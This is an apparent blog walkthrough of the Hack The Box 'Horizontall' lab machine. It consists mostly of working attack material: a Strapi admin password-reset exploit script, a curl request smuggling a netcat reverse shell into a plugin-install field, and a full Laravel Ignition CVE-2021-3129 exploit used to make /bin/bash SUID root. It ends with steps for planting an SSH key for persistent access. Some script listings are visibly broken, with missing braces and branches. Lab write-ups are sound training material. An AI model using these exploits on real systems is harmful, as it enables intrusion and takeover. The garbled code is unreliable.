Hackthebox Horizontall Writeup


Dedsec / August 31, 2021

9 min read––– views


Hackthebox release new machine called Horizontall, in this machine we need to abuse the forgot password functionality to reset the admin password after login inside admin panel we got the vernable version of strapi and exploit that to get rev shell back. inside the machine i found hidden service running laravel vernable version exploit that to get root shell.


└──╼ []$ nmap -sC -sV -oA nmap/result
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-28 23:59 CDT                                
Nmap scan report for                                                              
Host is up (0.087s latency).                                                                   
Not shown: 998 closed ports                    
PORT   STATE SERVICE VERSION                                                                   
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:                                                                                 
|   2048 ee:77:41:43:d4:82:bd:3e:6e:6e:50:cd:ff:6b:0d:d5 (RSA)
|   256 3a:d5:89:d5:da:95:59:d9:df:01:68:37:ca:d5:10:b0 (ECDSA)        
|_  256 4a:00:04:b4:9d:29:e7:af:37:16:1b:4f:80:2d:98:94 (ED25519)                              
80/tcp open  http    nginx 1.14.0 (Ubuntu)                                                     
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Did not follow redirect to http://horizontall.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .       
Nmap done: 1 IP address (1 host up) scanned in 11.70 seconds

There are two ports open 22:ssh,80:http


When we go to the ip it will redirected to horizontall.htb


Let's quickly add that in out /etc/hosts file.

└──╼ []$ cat /etc/hosts       localhost       parrot

#custom    horizontall.htb

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

Now let's check what's running on the port 80.

It's a simple web page.


There is a contact form let's try to submit that.

But i don't think so they will send my req anywhere.


I use gobuster to find some interesting directories but there is nothing interesting.


Now the last thing is to find subdomain i use gobuster for that you can use ffuf or wfuzz for that.

gobuster vhost -u http://horizontall.htb/ -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 100


And we found a new subdomain called api-prod.horizontall.htb let's quickly add this in our /etc/hosts file.

└──╼ []$ cat /etc/hosts       localhost       parrot

#custom    horizontall.htb api-prod.horizontall.htb

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

Now when we go to the web page it's said welcome and nothing interesting in the page so let's try to find interesting directories with gobuster.


And we find the interesting directory called /admin.

└──╼ []$ gobuster dir -u http://api-prod.horizontall.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 80


And we got strapi login page. let's check the exploit for that.


Link : https://thatsn0tmysite.wordpress.com/2019/11/15/x05/

The article is all about how to change any user password.

After reading the article let's try to execute this.

Let's first try with simple command to check the version of strapi.

└──╼ []$ curl http://api-prod.horizontall.htb/admin/strapiVersion

It's works now let's try to change the password of user but we don't known any user so let's first enumerate that.

In the admin login page we find a forgot password. let's check if we use this functionality to enumerate users.


And we see we can enumerate usernames.


Let's check the admin user because in every login page admin is always first user.


And we see when we use admin the page taking long to responce back.


So let's try to reset the password of admin with that python script in the article.

import requests
import sys
import json
if len(args) < 4:
    print("Usage: {} <admin_email> <url> <new_password>".format(args[0]))
email = args[1]
url = args[2]
new_password =  args[3]
s  =  requests.Session()
version = json.loads(s.get("{}/admin/strapiVersion".format(url)).text)
print("[*] Detected version(GET /admin/strapiVersion): {}".format(version["strapiVersion"]))
#Request password reset
print("[*] Sending password reset request...")
reset_request={"email":email, "url":"{}/admin/plugins/users-permissions/auth/reset-password".format(url)}
s.post("{}/".format(url), json=reset_request)
#Reset password to
print("[*] Setting new password...")
exploit={"code":{}, "password":new_password, "passwordConfirmation":new_password}
r=s.post("{}/admin/auth/reset-password".format(url), json=exploit)
print("[*] Response:")

Now let's run the script and reset the admin password.

└──╼ []$ python3 change_admin_password.py 
Usage: change_admin_password.py <admin_email> <url> <new_password>
└──╼ []$ python3 change_admin_password.py admin@horizontall.htb http://api-prod.horizontall.htb Password123
[*] Detected version(GET /admin/strapiVersion): 3.0.0-beta.17.4
[*] Sending password reset request...
[*] Setting new password...
[*] Response:


Now let's try to login with admin.


And we are inside the admin panel.


When i find the exploit for strapi login page i also find one more interesting article that teach us how to get rce but the problem is we need jwt token for that but now we are login we have the jwt token now let's try that now.

Link : https://bittherapy.net/post/strapi-framework-remote-code-execution/

Let me tell you where you get the jwt token.

Just refresh the page and capture the req in burp and you got the jwt token.


Now we have everything ready let's try that to get rev shell.

In the command you just need to change the ip_addr of tun0 and jwt token and you good to go.

└──╼ []$ curl -i -s -k -X $'POST' -H $'Host: api-prod.horizontall.htb' -H $'Authorization: Bearer JWT' -H $'Content-Type: application/json' -H $'Origin: http://api-prod.horizontall.htb' -H $'Content-Length: 123' -H $'Connection: close' --data $'{"plugin":"documentation && $(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 9001 >/tmp/f)","port":"1337"}' $'http://api-prod.horizontall.htb/admin/plugins/install' --proxy

There is some error in the command so we use --proxy for that to capture the req in the burp and solve that error.

Before running command run the netcat listner on port 9001.

nc -nvlp 9001

Now let's run the command and capture the req in the burp.


And we see in the burp we need to fix that json.

From This:


To This:

And then send the req and check the netcat listner.


And we get the shell.


First let's stabilized the shell.


And we get the user.txt


Privilege escalation

Let's start with LinPEAS.


After analyzing the output i found interesting port 8000 which run locally in the system.


I use chisel for portforward 8000 port so we can access that in our browser.

First let's transfer the chisel binary.


Now Let's portforward the 8000 port.

./chisel server -p 8001 --reverse       #on local machiene
./chisel client R:8000:     # on target machiene


Now let's check what service is running on port 8000.

And we see it's running laravel php framework.


Let's check the view page source and we get the laravel version.


Let's search the exploit for this specific version of laravel.


After some google search i found some reading materials and exploit for that.

Link : https://www.ambionics.io/blog/laravel-debug-rce

Link : https://www.youtube.com/watch?v=gr8ZKQpYiug

Link : https://github.com/nth347/CVE-2021-3129_exploit


#!/usr/bin/env python3
import requests
import subprocess
import re
import os
import sys

# Send a post request with a specific viewFile value, returning HTTP response
def send(url='', viewfile=''):
    headers = {
        "Accept": "application/json"
    data = {
        "solution": "Facade\Ignition\Solutions\MakeViewVariableOptionalSolution",
        "parameters": {
            "variableName": "whateverYouWant",
            "viewFile": ""
    data['parameters']['viewFile'] = viewfile
    resp = requests.post(url, json=data, headers=headers, verify=False)
    return resp

# Generate payload and return it as text
def generate(chain='', command=''):
    # Ensure that we have PHPGGC in current directory, if not we'll clone it
    if os.path.exists("phpggc"):
        print("[+] PHPGGC found. Generating payload and deploy it to the target")
        print("[i] PHPGGC not found. Cloning it")
        os.system("git clone https://github.com/ambionics/phpggc.git")
    payload = subprocess.getoutput(
        r"php -d'phar.readonly=0' ./phpggc/phpggc '%s' system '%s' --phar phar -o php://output | base64 -w0 | "
        r"sed -E 's/./\0=00/g; s/==/=3D=/g; s/$/=00/g'" % (chain, command))
    return payload

# Clear logs,
def clear(url):
    print("[i] Trying to clear logs")
    while (send(url,
                "-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log").status_code != 200):
    print("[+] Logs cleared")

if __name__ == '__main__':
    if len(sys.argv) < 4:
        print("Usage:   %s <URL> <CHAIN> <CMD>" % sys.argv[0])
        print("Example: %s http(s)://localhost:8000 Monolog/RCE1 whoami" % sys.argv[0])
        print("I recommend to use Monolog/RCE1 or Monolog/RCE2 as CHAIN")
    url = sys.argv[1] + "/_ignition/execute-solution"
    chain = sys.argv[2]
    command = sys.argv[3]

    # Step 1. Clear logs, write the first log entry
    send(url, "AA")

    # Step 3. Write the second log entry with encoded PHAR payload
    send(url, generate(chain, command))

    # Step 4. Convert log file to a valid PHAR
    if (send(url,
                "-decode/resource=../storage/logs/laravel.log").status_code == 200):
        print("[+] Successfully converted logs to PHAR")
        print("[-] Fail to convert logs to PHAR")

    # Step 5. Trigger PHAR deserialization, extract the output
    response = send(url, "phar://../storage/logs/laravel.log")
    result = re.sub("{[\s\S]*}", "", response.text)
    if result:
        print("[+] PHAR deserialized. Exploited\n")
        print("[i] There is no output")

    # Clear logs

Now let's try to run the exploit with simple command id.

└──╼ []$ vim exploit.py
└──╼ []$ chmod +x exploit.py 
└──╼ []$ python3 exploit.py http://localhost:8000 Monolog/RCE1 id
[i] Trying to clear logs
[+] Logs cleared
[+] PHPGGC found. Generating payload and deploy it to the target
[+] Successfully converted logs to PHAR
[+] PHAR deserialized. Exploited

uid=0(root) gid=0(root) groups=0(root)

[i] Trying to clear logs
[+] Logs cleared


And the output is root so let's try our old trick to get root shell you guys known that😉

└──╼ []$ python3 exploit.py http://localhost:8000 Monolog/RCE1 'chmod +s /bin/bash;echo done'
[i] Trying to clear logs
[+] Logs cleared
[+] PHPGGC found. Generating payload and deploy it to the target
[+] Successfully converted logs to PHAR
[+] PHAR deserialized. Exploited


[i] Trying to clear logs
[+] Logs cleared


Now go to your previous shell of strapi user and execute the suit bit set binary(/bin/bash) and get the root.txt

strapi@horizontall:/tmp$ ls -al /bin/bash
-rwsr-sr-x 1 root root 1113504 Jun  6  2019 /bin/bash
strapi@horizontall:/tmp$ /bin/bash -p
bash-4.4# cd /root
bash-4.4# ls
boot.sh  pid  restart.sh  root.txt
bash-4.4# cat root.txt


Second Method Through Ssh

This second method is for those who geeting error in chisel portforwarding.

So first create your ssh keys.

└──╼ []$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa): 
/root/.ssh/id_rsa already exists.
Overwrite (y/n)? y
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /root/.ssh/id_rsa
Your public key has been saved in /root/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:ZgXqDQQxVV3ryWvsxSLV8gvgjpYfL7EO+nqC8cemwJM root@parrot
The key's randomart image is:
+---[RSA 3072]----+
|    ++o.o. ..    |
|     o . ..  .   |
|      o   . .    |
|     . o . o o   |
|      . S . * .  |
|   ... o ..+ =   |
|    E+ ...+o* +  |
|    .oo.B+o* + . |
|      +Xoo+.o .  |
└──╼ []$ ls
id_rsa  id_rsa.pub  known_hosts
└──╼ []$ cat id_rsa.pub 
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC9gSPz8b9CqtPfEiadGMQtaFY6hcOCAdKZ0zutIfLSGFO/OQW63U6ynkjMo/J83VZPYLxFPTMJrHFypvfeB85TQQwXKWNwLBooRLLCFs686dzGXN5ofuGFPqtS8mNoRUFJSUcwHo4ZLVFXkcQSQ3j6PI4sE57eWadkodTZBYmDlemhZPROMwi8RvuCoaeYxS2zeuf+ghIsvpseSBxIPn1B98Y8QtuBidyXcyyAs6aKFh3Vg451M7W+wHCOlYRY7F8Zbiok2dkkQJS5ce0fAObv8XdjriEdaaFNjO+xNOSy/KQzYYoQDbl+ZEP9wlRtpJ6K8LyQXrhVJwhTQjpYw4HjDAb/xdY+jFBvTqUy2oeUsnLGHaBo0fng/fGD8vH/4JA2C8mIHs2LDfUrrG9jda1uh+LF7rJyh1vV67s1djIR3tgjvUR0S5wYbJn+ZIsDhvcxan7N1myg9c87hyJiW/bjB5Mj8= root@parrot

After that go to the strapi user shell and create a directory called .ssh inside strapi user home folder then paste your ssh public keys inside .ssh folder with name authorized_keys.

strapi@horizontall:~$ cd ~
strapi@horizontall:~$ ls -al
total 60
drwxr-xr-x 10 strapi strapi 4096 Aug 31 03:53 .
drwxr-xr-x  3 root   root   4096 May 26 14:24 ..
-rw-------  1 root   root     30 Aug 31 03:53 .bash_history
-rw-r--r--  1 strapi strapi  231 Jun  1 12:50 .bash_logout
-rw-r--r--  1 strapi strapi 3810 Jun  1 12:49 .bashrc
drwx------  2 strapi strapi 4096 May 26 14:29 .cache
drwx------  3 strapi strapi 4096 May 26 14:30 .config
drwx------  3 strapi strapi 4096 May 26 14:29 .gnupg
drwxrwxr-x  3 strapi strapi 4096 Jun  1 12:07 .local
drwxr-xr-x  9 strapi strapi 4096 Jul 29 04:29 myapi
drwxrwxr-x  5 strapi strapi 4096 Aug 31 03:54 .npm
-rwxrwxr-x  1 strapi strapi   51 Aug 31 03:47 phpggc
drwxrwxr-x  5 strapi strapi 4096 Aug 31 00:20 .pm2
-rw-r--r--  1 strapi strapi  807 Apr  4  2018 .profile
drwx------  2 strapi strapi 4096 Aug 31 03:44 .ssh
strapi@horizontall:~$ cd .ssh/
strapi@horizontall:~/.ssh$ ls
strapi@horizontall:~/.ssh$ echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC9gSPz8b9CqtPfEiadGMQtaFY6hcOCAdKZ0zutIfLSGFO/OQW63U6ynkjMo/J83VZPYLxFPTMJrHFypvfeB85TQQwXKWNwLBooRLLCFs686dzGXN5ofuGFPqtS8mNoRUFJSUcwHo4ZLVFXkcQSQ3j6PI4sE57eWadkodTZBYmDlemhZPROMwi8RvuCoaeYxS2zeuf+ghIsvpseSBxIPn1B98Y8QtuBidyXcyyAs6aKFh3Vg451M7WI8Uj0GcsrgodFCiYxWIkNpdP7zoGoswD2UTOnW+wHCOlYRY7F8Zbiok2dkkQJS5ce0fAObv8XdjriEdaaFNjO+xNOSy/KQzYYoQDbl+ZEP9wlRtpJ6K8LyQXrhVJwhTQjpYw4HjDAb/xdY+jFBvTqUy2oeUsnLGHaBo0fng/fGD8vH/4JA2C8mIHs2LDfUrrG9jda1uh+LF7rJyh1vV67s1djIR3tgjvUR0S5wYbJn+ZIsDhvcxan7N1myg9c87hyJiW/bjB5Mj8= root@parrot" > authorized_keys 


Now you can forward the port 8000 with help of ssh.

└──╼ []$ chmod 600 id_rsa 
└──╼ []$ ssh -i id_rsa -L 8000: strapi@
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-154-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Tue Aug 31 04:03:40 UTC 2021

  System load:  0.07              Processes:           203
  Usage of /:   82.6% of 4.85GB   Users logged in:     1
  Memory usage: 30%               IP address for eth0:
  Swap usage:   0%

0 updates can be applied immediately.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Tue Aug 31 03:55:47 2021 from

Subscribe to the newsletter

Get emails from me about hacking news, tech, and early notification of new writeups.

- subscribers – View all issues